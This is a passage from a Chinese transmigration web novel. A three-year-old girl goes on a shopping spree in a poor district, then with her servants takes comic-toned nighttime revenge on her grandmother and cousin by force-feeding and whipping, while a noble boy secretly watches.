她咂咂嘴,回味了一下糖葫芦的酸甜,心里最最清楚的是:城东这边的施粥点,一眼望去就是实打实的,棚子结实,锅灶干净,伙计们手脚利落,那大木桶里冒出的热气都带着米油的醇香。
粘稠的粥用的都是上好的白米,不见一点杂色。负责施粥的伙计,舀起满满一大勺浓粥,手腕稳稳当当,毫不吝啬地扣进灾民伸过来的碗里,都能堆起个小尖。每人除了大半碗实实在在的粥,还能再领一个黄白相间、比阿沅小手握拳还大的二合面馒头,看着就顶饿。
“啧啧,这馒头实在,揣怀里留到晚上吃都行!”车夫瞧见队伍里有个老汉,一边呼呼吹着气喝粥,一边小心翼翼把那个大馒头往怀里藏,不由得感叹出声。
“就是,瞧这馒头个儿大的,像我们这些习武的,饭量大,这么一个下去也能顶半饱了。这家主事的人,心眼实在,是真心行善。”十五也连连点头,他掂量着那馒头的分量,觉得自己也得五六口才能吃完。
他骑马护在车旁,一路看过去,不知不觉间,嘴里已经为这家没露面的主家说了好几箩筐的好话。
城东虽然大多都是商贾之家,但花起银子来一点都不含糊,不像城西那些官员和皇亲国戚那么多心眼子,绝对是花了真金白银,没掺半点假。
这情形,实在是无需阿沅再去验证,也没了坑主家一把的想法。
“小姐,前面就是青阳门了。过了这道门,可就是城南地界。”车夫扬鞭指了指前方那道略显陈旧却高大的门楼,话语间带着规劝的意味,像长辈在叮嘱不懂事的孩子。
“城北虽说乱些,三教九流什么人都有,可那里走南闯北的商客也多,自有它乱中的规矩。
城南……唉,住的都是真真正正的穷苦人,家底薄,日子紧巴,万一真乱起来,那势头可比城北吓人得多。若是没什么非要买不可的东西,老奴劝您,还是尽量别下车了,在车里看看就成。”
他实在是被这位小祖宗动不动就叫停、兴致一来就蹦下去的性子给弄怕了,生怕在那边出点闪失。
青阳门是内城的一道界门,共有三个门洞,居中的最为高大宽阔。
像他们这样骑马驾车的,从中间的门洞通过,守门的衙役连腰牌都懒得查问,摆摆手就放行了,显出一种惯例的便利。
两边的小门洞则狭窄许多,走的多是步行的百姓,有挑着担子颤悠悠的货郎,有牵着孩子小心翼翼的母亲,也有慢吞吞的牛车、吱呀呀的板车。
这里虽不比外城门那般甲胄鲜明、戒备森严,但也有穿着皂衣的衙役值守,时不时地盘问几句。
时常能见到有人被拦下,好说歹说不让过,最后只能悻悻然地原路返回,可见这门里门外,身份等级的界限依然分明。
一门之隔,两边的景象简直像是两个世界。
门这边,还能见到些整齐的屋舍,富贵人家大宅门不少,偶尔还有冒出墙头的绿树。
门那边,一眼望去,多是低矮的泥屋、茅草房,挤挤挨挨地连成一片。街道变得狭窄而凌乱,地面上污水横流。
值守的衙役也换了一副模样,靠在墙根打着哈欠,对不远处
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传来的推搡叫骂声充耳不闻,连屁股都懒得挪动一下去管管。
但是,不得不承认,这边的市井气息浓烈得扑鼻而来!各种声音、气味、色彩混杂在一起,热闹得如同沸腾的锅。叫卖声、讨价还价声、孩童嬉闹声不绝于耳。
沿街的摊子一个挨着一个,卖什么的都有:新鲜的菜蔬、活蹦乱跳的鱼虾、颜色鲜艳的粗布头绳、热气腾腾的粗面饼子、修补锅盆的手艺人……琳琅满目。
对于前世就喜欢逛菜市场、钻小超市,享受那种淘换乐趣的孟沅来说,这里的吸引力实在太大了!简直就像个现实版的“拼夕夕”大集市。
“窝要下去走走!”阿沅的眼睛瞬间亮了起来,扒着车窗,小脸几乎要贴到帘子上,语气里充满了不容拒绝的兴奋和好奇。
真是怕什么来什么!
十六赶紧献策:“小姐,这边地上脏乱,站着看也费劲。要是喜欢瞧热闹,不如骑马吧?坐得高,望得远,什么都能看清楚!”他声音里带着怂恿,一脸期盼,就指望小姐能点头,好让他有机会把软乎乎的小姐护在身前共骑一程。
实在是平时有柒老大在,这等美差多半轮不到他。这么个玉雪可爱、古灵精怪的三岁娃娃,谁见了不想亲近亲近?再说,坐在马上,也更好保护。
十五更是直接,唰啦一下就翻身下了马,干脆利落地把缰绳往前一递:“小姐跟绿果骑马也行,在下牵着马走就是,绝对稳当。”他觉得这法子更稳妥,自己既能就近保护,小姐也能看得尽兴,说不定胜算更大。
他甚至已经开始想象自己当个尽职“马童”的样子了。
“不要骑马,就要下去走走!”阿沅却摇晃着小脑袋,主意正得很。她觉得骑马虽然神气,但哪有自己迈着小短腿,在摊子间钻来钻去自在有趣?
看中了什么,小手一指,就能立刻买下来,多方便!要是骑马,还得叫人停下,再被抱下来,多耽误工夫呀,这一耽搁,说不定都能逛完半条街了!
马车刚一停稳,她就迫不及待地转过身,高高举起一双莲藕似的小胳膊,冲着绿果,奶声奶气却充满期待地催促:“绿果,抱!”
第86章 不会是银子打的吧?
“窝要小糖人,这个……这个!……还有这个!”阿沅那双乌溜溜的大眼睛简直不够用了,小手指点得飞快,终于找到了肆意“买买买”的畅快感觉。
摊子上插着的糖人儿,有小老虎、小兔子,还有捏得活灵活现的孙悟空,每一个在她眼里都闪着诱人的光。
“爷爷,一共三个,给你六文。”绿果赶紧跟上来,熟练地数出铜板付账,看着自家小姐那兴奋得小脸泛红的模样,又是好笑又是无奈。
“小姐,您瞧瞧这个小哨子,那可是陶土烧的,吹起来声音脆生生、响着呢,可好玩了!才一文钱一个。”旁边的小贩眼尖,见是个被仆从簇拥、打扮精致的小娃娃,立刻堆起笑脸,拿着满满一托盘,都是捏成动物形状的小泥哨凑过来推销。
阿沅的注意力立刻被吸引过去,她接过哨子,试着吹了一下,“呜——”的一声,眼睛弯成了月牙。
随即,她小脑袋瓜里立刻盘算起来,掰着短短嫩嫩的手指头开始数:“这个要多多的,莲子、红袖、大牛、二牛、黑丫姐……还有小豆子……”
庄子里的玩伴名字一个个往外蹦,可她的小手指头掰来掰去,怎么都数不清,越数越迷糊,小眉头都皱了起来。
绿果见她这副模样,心领神会,直接对那小贩道:“这种小哨子,每种花样都要五个。是一文钱一个对吧?这东西容易摔碎,干脆拿五十个吧!买多要多送几个。”
“行,十个多送一个,给你数五十五个。”小贩大概没做过那么大的生意,也很干脆,马上利落应下。
小姐乐意拿这些小玩意儿回去做人情,分给庄子里的小伙伴们,多买些也无妨。绿果乖乖掏出一串钱,数了数。
买下来的哨子立刻被分装成几个小布包,塞给了跟在后面已经有点手忙脚乱的十五和十六。
“风车?……要!那个大的,花花绿绿的大风筝,要!那个小的,燕子形状的小风筝也要。”阿沅简直成了散财小童子,看到什么新奇有趣的都要,光动动小嘴叫唤,反正不用自己掏钱,拿累了也不用自己提——有身后那两个“人形货架”呢。
她买得理直气壮,欢快得像只掉进米缸的小老鼠。
……
还没走完两条街,紧跟在后面的十五和十六手上已经满满当当,挂满了各种小玩意儿:糖人、泥哨、风车、风筝、小拨浪鼓、粗糙但鲜艳的布老虎……活像两个移动的杂货摊。
就连绿果手上也拎了好几包油纸裹着的、散发着甜香或咸香的糕饼点心。
“这个要!”阿沅指着一串用贝壳串成的、在阳光下闪闪发亮的手链。
“这个也要!”她又瞧见了一个会翻跟头的木质小猴玩具。
……
距离他们不过七八步远,同样挤在这狭窄嘈杂小巷里的安子,一个人手上已经抱了一堆东西——糖人、泥哨、风车……每样都跟前面那小丫头买的一模一样,只是有的,数量没那么多。
他看着自己那位小主子,正抿着嘴,眼神专注地盯着阿沅的一举一动,但凡阿沅买什么,他就立刻低声吩咐自己跟上买什么,内心简直无语凝噎,只能抬头望天:
我的小爷啊,人家三岁娃娃买的东西,您这……您也跟着买?买这么多回去,您跟谁玩啊?这要让人知道了,不觉得……有点丢人么?
而且,人家好歹有三个仆从跟着分摊,自己这边就孤零零一个,车马都堵在外头进不来。总这么全身挂得跟货郎似的也不是办法,他又没长出三头六臂。
安子内心哭嘤嘤,只能暗暗祈祷前面那位小姑奶奶:“求求您了,小祖宗,可千万别再买了,再买小的可真拿不动了……”
就在这时,阿沅再次停下了脚步。这一次,所有跟着她的人都心头一喜,绿果、十五和十六不约而同地看向眼前的摊子——这是个卖竹编器具的摊子,箩筐、背篓、竹筛子、还有各种竹制品摆了一地。
三人交换了一个欣慰的眼神:小姐,您可太贴心了!终于想到我们提着辛苦了,这是要给我们买个箩筐来装东西了吧?
而同样快被东西淹没的安子,更是直接惊喜地低呼出声:“我要买个背篓!”
话音未落,就见他家主子仗着身形灵活,三两下就挤到了摊子前,跟小奶娃之间只隔着两个挑东西的妇人了。动作之快,令人咂舌。
谁都不知道,阿沅这次停下,全因旁边一个插曲:一个穿着粗布衣裳的妇人,正叉着腰,一脸又气又无奈地瞪着在地上撒泼打滚、弄得满身灰尘的皮小子,嘴里来了这么一句:“我看你是皮痒痒,想吃‘竹笋炒肉’了是不是?看我不打死你个小讨债鬼!”
说完,妇人一眼瞥见旁边竹器摊子上用来捆扎的细长竹篾,顺手就抄起一根,不由分说就往那孩子穿着开裆裤的屁股蛋上抽去。
才抽了第一下,那约莫四五岁的娃娃就惊天动地地叫了声“疼!”,然后一骨碌从地上爬起来,跑得比兔子还快。
他原本还算完好的棉裤,屁股位置被竹篾抽过的地方,竟然绽开了一道口子,里面的旧棉絮都飞了出来一点。
那妇人手里的竹篾也不还了,举着就追了上去,边追边骂。街道上看热闹的人先是愣住,随即爆发出一阵善意的哄堂大笑。
还有人调侃:“这个娘可真舍得,这竹篾**可疼了,愿挨十棍都不愿这么抽。”
这场景,让阿沅那双大眼睛咕噜噜一转,小脑袋里忽然灵光一闪,觉得这细细长长、看起来不起眼的竹篾,好像比她的**在某些时候还好使呢!
她小嘴一撇,学着那妇人的凶悍语气,但配上她奶声奶气的嗓音,就显得格外滑稽:“哼!看窝不抽屎她!”
然后,她的小手毫不犹豫地指向摊子角落里用来编竹筐的一捆待用的篾条,“这个,要了!”
绿果惊得愣在原地,小姐要这个干什么?**?这……
十六却隐约猜出了小姐的心思,他非但不制止,反而对绿果嘿嘿一笑,压低声音说:“买吧!听小姐的。不过别让我们
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背那么多,挑个十根结实点、两边打磨得薄一点、像利刃那种就行。回去记得用破布把一头包好,免得割了小姐娇嫩的小手。”
“六爷,买……买吗?”好不容易挤上来的安子,看见自家那位平日里见到西域奇珍都面不改色的小主子,此刻竟然对着这再普通不过的竹篾两眼放光,话一出口就想抽自己嘴巴——这还用问吗?
果然,他立刻得到了答复。
“买!干嘛不买?”小主子的语气斩钉截铁,甚至带着一丝发现“新玩具”的兴奋。
“果然!果然……”安子再次无语望天,认命地悻悻掏出碎银子,也买下了一捆竹篾,心里哀叹:跟着这小丫头,真是啥稀奇古怪的都得备一份啊!
又经过一间飘着浓郁酒香的酒坊,看见店小二正给一个满身酒气的酒鬼打酒。
阿沅忽然又停下了,小鼻子动了动,然后指着酒坊里面:“这个,买!”
“买酒?小姐,您要买酒?买几斤?”绿果更是糊涂了,小姐难道还想买回去给老爷不成?
“小姐说买就买,问那么多做什么。小二,拿你们的小酒瓮,装满一瓮好酒!”这回换十五落落大方,语气干脆利落,他也觉得小姐可能是想带回去给庄子里的大人。
说完,他还颇有些得意地看向阿沅,一副“看我领会得多快”的讨赏模样。
“不四!”没想却换来阿沅一记嫌弃的小白眼,她急得跺了跺小脚,然后指向小二手中那两个正在使用的器皿——即使是现代穿过来的孟沅,也不知道这东西具体叫什么,姑且叫它酒漏和酒勺吧。
反正她觉得,这两样东西组合起来,似乎……很有用!
“买他手上打酒的!”阿沅清晰地指明。
“这个?小姐,拿回去倒是可以玩玩水……但是冬天玩水可不行,夫人知道了会骂的……”绿果的话还没说完,那边小二也反应过来,连忙摇头:“这个?客官,这是咱们店里打酒的家伙什,不卖的。”
阿沅却道:“有用,有用,今晚有用。”
十六闻言,动作更快,一大块碎银子“啪”地就拍了上去,不由分说,直接从有点懵的小二手里“抢”过了那两件亮锃锃的铜制器皿。
小二本来下意识想喊“有人**”的,但掂量了一下手里沉甸甸、远超器物本身价值的银子,抛了两抛,脸上瞬间阴转晴,甚至咧开嘴笑了——傻子才不卖呢!得了这么大一块碎银,没准掌柜的还会赏他几十文。
安子背着一个大背篓,还在思考着“要是主子也非要买这打酒的玩意儿,是不是也有点……”这个哲学问题时,就听见自家小主人带着几分急切和“不能落后”的意味吩咐道:
“还不快点!看见没,那边柜台里,另外一个小二手上还有一副一模一样的,赶紧也买下来!别让她全抢了!”
那边小二一听,拎起酒勺和酒漏相互碰了碰,都对自己的听觉产生了怀疑,这天天使用的物什,不会真是银子打的吧?怎么这么抢手?
第87章 身上功夫更胜一筹
安平侯府的子绫小筑
“春桃——春桃!死丫头又躲哪儿偷懒去了?”孟绫拖长了调子唤着,声音在雕花木门边转了个弯,带着明显的不耐。
她坐在那面嵌着螺钿的铜镜前已经快一盏茶的功夫了,镜面刚刚被秋梨用绢帕擦了又擦,映出一张精心养护了几个月的脸——双颊果真丰润了些,透出淡淡的桃花色,有了些许即将及笄少女的风韵。
她对着镜子挑了挑眉,那双遗传自父亲的浓黑眉毛便飞了起来,微吊的眼睛也跟着眨了眨,左瞧右看,自己先“噗嗤”笑出声,觉得这模样确实不比旁人差。
“来了来了,姑娘恕罪!”春桃捧着个黑漆描金托盘小跑进来,裙角绊在门槛上,差点摔了,托盘里的茶盏叮当作响,“奴婢刚去小厨房瞧了瞧云耳红枣汤炖得如何……”
“行了,谁要听你那些。”孟绫打断她,指尖在梳妆台上一点一点,“明儿个长公主府的春日宴,才是顶顶要紧的事。那可是雪灾过后京城头一场大场面,听说连宫里都会有人来瞧热闹。长公主就那么一个世子,眼珠子似的疼着,这回摆宴,明眼人都知道是相看未来世子夫人的。”
她说着,身子往前倾了倾,镜子里那双眼睛便亮得灼人,“满京城的贵女,谁不削尖了脑袋想挤进去?衣裳、头面、举止、谈吐,一样都不能落下。我的衣裙呢?都搬出来,本小姐要好好拣选。”
她站起身,走到窗边木衣架旁,那里已挂了五六套衣衫,料子在透过窗棂的日光下泛着柔润的光泽。
“母亲瘫在床上动弹不得,父亲眼里只有他那新娶的娇滴滴的美娇娘,祖母年纪大了,精神一日不济一日……”
她低声自语,手指无意识地捻着一件樱草色裙衫的袖口,语气里透着一股与她年龄不太相符的冷清与算计,“我不为自己打算,还能指望谁?过了这个春日,我就十四了。”
春桃赶紧把托盘放下,打开一旁的红木大衣柜,小心翼翼地将里面叠放的衣裙一套套取出、展开。“姑娘您看,这是新做的藕粉色交领襦裙,配了月白的束腰,袖口和裙摆都绣了缠枝莲纹,用的是顶好的苏绣,线里掺了银丝的,走动起来隐隐有光,又雅致又不失贵气。”春桃抖开那套衣裙,藕粉的颜色确实娇嫩,衬得满室生春。
孟绫走过去摸了摸那滑腻的料子,是上好的蜀锦。“可惜有点薄,不过就它了。外头再配上那件纯白色的狐狸毛大氅。”
她顿了顿,目光转向梳妆台旁那个上了锁的紫檀木匣子,“头面……就选那套最精致的,赤金点翠镶红宝的那套。”
她几乎要脱口补上一句“就是大夫人柳氏嫁妆里的那套”,话到舌尖,又硬生生咽了回去,只从鼻腔里极轻地哼了一声,眼底掠过一丝混杂着鄙夷、嫉恨与心虚的复杂情绪。
前些日子为了凑齐归还大夫人嫁妆的单子,这套头面、那件白狐裘,还有做这套春装的蜀锦料子,本都该干干净净交出去的。
是她,趁着祖母精力不济,母亲起不了身,父亲不管后院琐事,偷偷瞒了下来,塞进了自己的私库。
若不这样,明日那般群芳争艳的场合,她孟绫拿什么去跟那些一二品大员受宠的贵女们比?难道真要荆钗布裙,徒惹人笑话吗?
这么一想,新仇旧恨便一股脑涌上心头。凭什么大房就能过得那般舒坦?凭什么那个没有三尺高的堂妹,都能有那般丰厚的嫁妆傍身?
她指甲掐进了掌心,暗暗咬牙,心底恶毒地盼着:最好今晚就有人来报,说大房那一支,从上到下,由于大雪压顶,全在庄子里死绝了才干净!
……
与此同时,只隔两条街小巷某处清静的小院里,却是另一番光景。
阿沅是被绿果半抱半扶地从马车里“卸”下来的。小人儿今日出门一趟,可谓“战果辉煌”——不仅肚子里塞满了东街的糖人、乳糕、南门的热酥酪,还搜罗回好几大筐“宝贝”。
此刻,院里石板地上背篓箩筐摆开一排,装的都是零碎杂物,瞧着就不值什么钱。
“哎哟……好饱……”阿沅一边哼唧,一边任由绿果给自己脱掉沾了尘的外衫。她穿着杏子黄的小袄和葱绿裤子,像颗饱满的、行动迟缓的鲜嫩豆子。
被绿果抱到铺着软厚锦被的床上时,她立刻四肢大大地摊开,成一个“大”字形,圆鼓鼓的小肚子在被面上顶出一个小山包。
“绿果姐姐……”她喘了口气,黑葡萄似的大眼睛望着帐顶,慢悠悠地、口齿却异常清晰地下达指令,“等柒叔回来,你告诉他……今晚,我们去安平侯府玩儿。”
她想了想,又补充道,小手还在空中比划了一下,“记得带上……打酒的那两个,还有……嗯,打人用的那细竹篾条。”
绿果正给她掖被角,闻言动作顿了顿,随即抿嘴笑了。
她家小姐虽然才三岁半,但这心思活络、恩怨分明的劲儿,可真不像个奶娃娃。她大概猜到小姐买那些“破烂”的用意了——酒漏怕是用来听墙根的,细竹篾条嘛……
她眼睛弯了弯,应道:“知道了,小姐。待会儿绿果就去找出来,还在那竹篾条上给您缠些软布巾,抽人的时候省得硌了您娇嫩的手心。”
虽说这报复法子带着点孩童玩闹的稚气,但绿果觉得痛痛快快、当场就报,比那些阴私算计强多了。
她甚至暗自琢磨:要是小姐需要,她可不介意代劳,保管抽得那起子坏心眼的人嗷嗷叫,几十下都不带手软的。
主仆二人都没料到,往日都是她们兴致勃勃去“探听”别人家的动静,今日自家这小院的屋顶上,却悄无声息地伏着两道几乎与灰瓦融为一体的影子。
那两道影子听着屋里奶声奶气却条理分明的“部署”,面具下的嘴角似乎都抽动了一下。
待到绿果吹熄了灯,轻轻退出去,屋里传来小人儿均匀绵长的呼吸声,两道影子才如轻烟般一闪,瞬息掠过院墙,消失在暮色渐浓的街巷之中。
那身法之轻盈迅捷,轨迹之难以捉摸,竟比他们军中历练过的暗卫,还要高出不止一筹。
第88章 虎父无犬女
孟沅此刻满心想的都是给孟绫和那老虔婆点颜色瞧瞧,哪里知道她们明日还有什么劳什子春日宴要赴。
她一落地,就迈着小短腿,悄无声息地溜进松鹤苑正屋,微弱的烛光下,她黑葡萄似的大眼睛先扫了扫地上被迷香放倒的婆子,又转向雕花拔步床上那隆起的一团——老虔婆孟老夫人睡得正沉,喉咙里还发出不甚雅观的、断断续续的鼾声。
阿沅歪着头,盯着那张在睡梦中依然显得刻薄的脸,小手在袖袋里摸了摸那个硬硬的药丸子。那是她自己的空间出品,塞一颗下去就能让这老虔婆马上“卒中”,口歪眼斜,瘫在床上动弹不得。
她捏了捏那丸子,圆滚滚,硬邦邦的。犹豫了一小下,她改变了主意,没有把它拿出来。这样一下子瘫了,岂不是太便宜她了?
她嘴里小声地、碎碎念起来,奶音压得低低的,却带着一股执拗的认真劲儿:“泥给爹爹、娘亲和嘚嘚的好药……泥叽叽尝尝!”说着,她意念掏出一个形同缩小版小酒瓮的粗陶罐子。
罐子不大,但瞧着沉甸甸的,里面装的“药水”怕是有半斤重。
她双手费力地捧着罐子,仰起小脸,看向旁边蒙着脸只露出眼睛的孟柒和十六。
月光从窗棂漏进一丝,正好照在她脸上,她不但没害怕,脸上竟还露出了两个浅浅的、粉色的小酒窝,看着又甜又邪气。
“用那打酒的……灌进去。”她指了指十六手里拿着的工具——酒漏和酒勺。
孟柒看着这笑容“诡异”的小奶娃,面具下的嘴角抽了抽,声音有点发干:“用……这?”这阵仗,是要给老太婆直灌吗?这招式,怎么有点损呀?
阿沅唇角弯得更深,眼睛清澈透亮,仿佛在问一个再简单不过的问题:“柒叔难道……想一勺一勺喂?”那语气,好像在讨论是直接倒水喝还是用小杯子。
“还是用漏勺吧!我来!”十六倒是干脆,自告奋勇,不能直接割喉,这招用起来也解气。
旁边的十五话不多,只知道服从,默默上前帮忙,他大手捏住老太婆本来就松弛的下颌,略微一用力,那满是黄牙、带着口涎臭气的嘴便不由自主地张开了。
“嘿嘿!坏祖母,喝“好”药!”阿沅又笑了,这次是抿着嘴笑,眼睛弯成月牙,还仰头朝屋顶的方向看了一眼。
她这突如其来的小动作,把藏在屋顶瓦片下的三个人惊得心里一突,差点以为自己暴露了。
十六动作麻利,将酒漏那细长的嘴对准那张开的黄牙口一塞,孟柒也懒得再用什么酒勺,拎起罐子,直接地往漏斗里倒那黑乎乎的“药水”。
药水顺着漏斗流下,发出轻微的“咕嘟”声,有些漏进了喉咙,有些则从嘴角溢出来,弄脏了锦缎枕头。
老夫人即使在昏迷中,也被呛得喉咙里发出“嗬嗬”的怪响,身体无意识地抽搐了几下。
趁他们灌药的功夫,阿沅的目光落在了床头小几上那尊白玉观音像前。
观音慈悲低眉,面前的小香炉里,三炷安神香正燃着,袅袅青烟上升。阿沅伸出小指头,从怀里另一个小纸包里沾了点几乎看不见的粉末,轻轻一弹,撒在那香头上。
粉末遇火,极快地融入了烟雾之中,几乎没有任何异样。
她看着那烟,小声嘀咕,语气里带着一种孩童式的不满和计较:“马上卒中,也太便宜她了。先熬个七八天吧!爹爹、娘亲和哥哥受过的苦,也让她尝一遍。”
她指的是那种缠绵病榻、浑身无力、心悸惊厥却一时又死不了的熬煎。
直到阿沅带着几个人轻手轻脚离开,脚步声远去,屋顶上隐匿的三个人才如三片落叶,轻飘飘地从游廊顶上飞掠而下,落地时一点声息也无,闪身进了还弥漫着淡淡异香的屋内。
其中一个黑衣人蹲下身,检查了一下地上婆子和床上老夫人的状况,低声道:“主子,听那小娃的称呼和行事,应是侯府大房的孩子无疑。”
被称作“主子”的男孩看起来年纪也不大,闻言轻轻“呛”了他一声,声音里带着点少年人的清亮和傲气:“那还用你说?下药报复都带着孩子气,却又狠准稳,果然是虎父无犬女,是老侯爷和孟大人的血脉,错不了。”
他目光在屋内逡巡,对那所谓的“药水”和香炉更感兴趣。
“那我们?”安子的声音有些忐忑,他手里还拿着那套打酒器皿。
男孩却没回应他,而是径直走向刚才阿沅站着撒粉末的位置。他伸出手,从香炉拈起一小撮尚未完全燃尽的香灰,又掰了一小段未点燃的香枝,放在鼻下仔细嗅了嗅。那粉末几乎无色无味,混在香料里极难察觉。
他将香枝递给安子:“拿回去,找个嘴巴严实、见识广博的稳妥郎中仔细验看,到底撒的是什么东西。”
这时候,已经顺利摸进子绫小筑的阿沅几个,根本不知道自己在松鹤苑的一举一动,已经落入了另一伙“夜行客”的眼中。
子绫小筑里,孟绫正做着明日艳压群芳的美梦,睡得香甜。阿沅站在她床前,看着那张在梦中犹自带着得意笑意的脸,想到书中她后来那些恶毒行径,小胸脯气得一鼓一鼓。
“把她的裤子扒了。”阿沅语出惊人,奶音里带着一股狠劲儿。她真是恨不得立刻把这坏堂姐剥光了丢出去才好。
这话却把在场的几个男人吓了一大跳。特别是才十六七岁的十五和十六,脸上虽蒙着布,但露出的眼睛瞬间瞪大,耳根子以肉眼可见的速度红了起来。
两人不约而同地猛地退后好几步,齐刷刷背过身去,恨不得把脑袋埋进墙里。
孟柒到底是经过风浪的,虽也怔了一下,却最快反应过来。他轻咳一声,没有犹豫,直接吩咐绿果:“绿果,你来动手。注意些,别让那些竹篾条误伤了小姐。”说完,自己也颇为自觉地转过了身,面朝房门,做出一副非礼勿视的样子。
孟柒话音未落,绿果已经利落地丢掉了手上原本拿的竹篾条。上前一把掀开锦被,动作干脆得很,三两下就把孟绫的绸裤褪了下来,扔到一边。
阿沅捡起一根细长的竹篾条,小手握了握,刚想上前试试手感,却被绿果拦住。
“小姐,您别看,仔细污了您的眼睛。让奴婢来,保管叫她长记性!”绿果可不想让自家小姐沾手这种事。
绿果本想先试一鞭,掂掂力道,结果一篾条抽下去,却打偏了,“啪”一声脆响,只打在了床边的纱帐幔子上,帐幔晃了晃。
绿果脸上有点挂不住,耳朵尖更红了。她索性上手,抓住孟绫的两只脚踝,用力往床下一扯!孟绫上半身还在床上,双腿和白花花、光溜溜的屁股却陡然悬空,耷拉在了床沿边。
第89章 堂姐屁股怎么这么白呀?
“哎呀!”阿沅轻呼一声,好奇地凑近看了看,发出天真又直接的感叹,“她屁股怎么这么白呀!”像个刚出笼的大馒头。
背对着她们的三个男人,身体瞬间僵硬得像石头,一动不敢动,连呼吸都屏住了。
绿果回头,看见他们那副样子,又好气又好笑,飞起一脚,不轻不重地踹在离得最近的十六的屁股上:“看什么看?还不出去!要不换你来动手?”
孟柒如蒙大赦,低声喝了一句:“走!”立刻带着面红耳赤、恨不得钻地缝的十五和十六,几乎是仓皇地“逃”出了内室,还顺手把门带上了。
阿沅在后面看着他们狼狈的背影,捂着嘴巴,发出“咯咯咯”的闷笑声,像只偷到油吃的小老鼠。
屋里,绿果没了顾忌,挑了根韧性最好的竹篾条,左右开弓。“啪!啪!啪!”清脆的抽打声在寂静的夜里格外清晰。
几十鞭下去,孟绫那白花花的屁股上布满了纵横交错的紫红色檩子,不少地方皮开肉绽,渗出血珠,看着血淋淋的,颇为吓人。
这般疼痛,终于把孟绫从深沉的睡梦中打醒了。她先是懵了一下,随即感到身后火辣辣、撕心裂肺的痛,差点尖叫出声。
但她到底不蠢,硬生生忍住了,不敢回头去看是谁在行凶,生怕惹恼了“煞星”,直接给她一刀结果了性命。
她只能死死咬住被角,疼得浑身发抖,喉咙里忍不住发出极力压抑的“哼哼”声,心里又惊又怕又羞愤——自己竟然光着屁股被人这样毒打!眼下除了装死、祈求对方快点打完离开,她竟毫无办法。
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屋顶上,安子透过瓦缝看得头皮发麻,压低声音问:“主子,我们……还进去吗?”他有点战战兢兢,亲眼看见那个被黑衣人夹在腋下还意犹未尽小不点,从他们头上掠过。再看向自家这位向来主意大的小主子,心里还是抖了抖。
那男孩自上而下又瞥了一眼里屋的惨状,目光却落在了床边另一张矮榻上。那里整整齐齐叠放着一套藕粉色衣裙、一件雪白的狐裘大氅,旁边还有个打开的妆奁,里面一套赤金头面在微弱的光线下也闪着诱人的光。
这定是为明日春日宴准备的。
“看见那衣服头面没?”男孩忽然觉得那粉的、白的、金的,有些刺眼,不顺眼得很。“把它们毁了。”
他转念一想,嘴角勾起一抹与他年龄不太相符的、带着点恶作剧却又异常犀利的笑:“往衣裙上抹点那女人屁股上的血,那件大氅也在内里、挨着腚的位置,割几道口子。记住,做得隐蔽些,别让人一眼看出来有了损伤。”
吩咐完,他身形一动,如夜鸟般轻盈地纵身一跃,消失在屋脊之后。
跟着他的那个高大黑衣人低声笑了笑,对还在原地发愣的安子丢下一句:“六爷这招,可真是……好得很。安子,这‘妙手著文章’的活儿,就交给你办妥了。”说罢,也紧随而去。
“主子!爷!这……这……”安子看着空荡荡的屋顶,又看看下面屋里那血糊糊的场面和那堆华丽的衣裳,气得差点跳脚,一屁股坐在瓦片上,压得底下几片瓦“咔咔”裂了几道缝。
“奴才……奴才也不要脸的吗?!”他哭丧着脸,最终还是认命地、悄无声息地滑下了屋檐,摸向那扇未关严的窗。这差事,真是缺了大德了!
那奶娃子是有仇,六爷,您平白无故的凑什么热闹?
对孟怀堂,阿沅本也欲让他出丑,可又觉得如果像孟绫这样用竹篾鞭打一下,光在自己院内出出丑,只是去不了学堂,对比起书中孟怀瑾在书院里受到的冤枉和羞辱,最后又疯疯癫癫、形销骨立地死在冰冷雪地里的凄惨一生,实在是太过便宜了他。
阿沅的指尖无意识地捻着袖口,眼底泛起寒霜——她要的不是一时皮肉之苦,而是要他身败名裂,要他也尝尝从云端跌落、被众人唾弃的滋味,要他体会那漫长而绝望的煎熬,体会生不如死。
只是仓促之间竟想不出一个既能解恨又不牵连自身的万全之策,只能先按捺住胸中翻腾的恨意,将这笔账狠狠记在心头。
她望向窗外沉沉夜色,暗暗发誓:这仇终究要报的,也不急在这一时,来日方长,总有叫他连本带利偿还的时候。
……
孟绫光着屁股挨了那顿结结实实的鞭刑,又痛又辱,悲愤交加。
安子进屋时,她恨不得钻进地缝里去,只得咬牙闭眼继续装死,可身子却不受控制地微微发颤。极度的羞耻与疼痛交织之下,精神涣散,装着装着竟真又晕死了过去。
但夜寒侵骨,背上臀上火辣辣的伤口沾了冷气,更是刺痛钻心,没过一会儿,她便连打了几个响亮的喷嚏,生生把自己给激醒了。
第90章 老宋氏出不了门
醒来时,只觉得浑身像散了架,每一寸皮肉都在尖叫。她强忍着几乎要溢出喉咙的呜咽,用尽全身力气,一点一点爬起,手脚并用地再艰难地撑起身子滚了上去。
这才有气无力地冲外间嘶声骂道:“春桃!你们这些作死的小蹄子,都死哪去了?还不给我滚进来!”声音因疼痛和愤怒而扭曲嘶哑。
在外间守夜的正是她的贴身丫鬟春桃,因同样被下了药,睡得死沉,浑然不知里屋已天翻地覆。
孟绫就这么血淋淋、孤零零地蜷在锦被中,伤口处的血渍渐渐凝固,与被子黏连,稍一动弹便是撕扯般的剧痛。
她又惊又怕又疼,心头更是烧着一把窝火,只觉得长夜漫漫,寒意透骨,竟是自己生生熬到窗外天色透出灰白,外间终于有了起身的动静,才勉强唤得人进来侍候,那时天都快亮了。
“小姐,您、您这是怎么了?奴婢这就去求二夫人,赶紧请个郎中来瞧瞧。”春桃撩开帐幔,一眼见到孟绫惨白如纸的脸和床上到处隐约的血迹,吓得魂飞魄散,眼泪顿时夺眶而出。
她倒未必是真心疼这个平日动辄打骂、嚣张跋扈的主子,只是想到偏偏在自己值夜时出了这等骇人之事,主子若有个三长两短,由于迁怒,打死她也不过如同捏死一只蝼蚁。
“不行!绝对不行!”孟绫气得浑身发抖,若不是屁股疼得动弹不得,她早跳起来给春桃一记耳刮子了。
她压低声音,语气却狠厉如刀:“这是能随便外传的丑事吗?你长没长脑子!”她尤其忌惮如今执掌中馈的后娘焦氏。
焦氏虽是平妻,现在早就压过了她那瘫在床上,没一点用处的娘,也早就把她爹的心笼络了去。
那女人早就把她和弟弟视作眼中钉肉中刺,不过是碍着祖母还在,才维持着表面和睦。
若让她知晓自己出了这桩难以启齿的丑事,只怕不到半日就能“无意间”宣扬得满城风雨,那她这辈子就彻底完了。
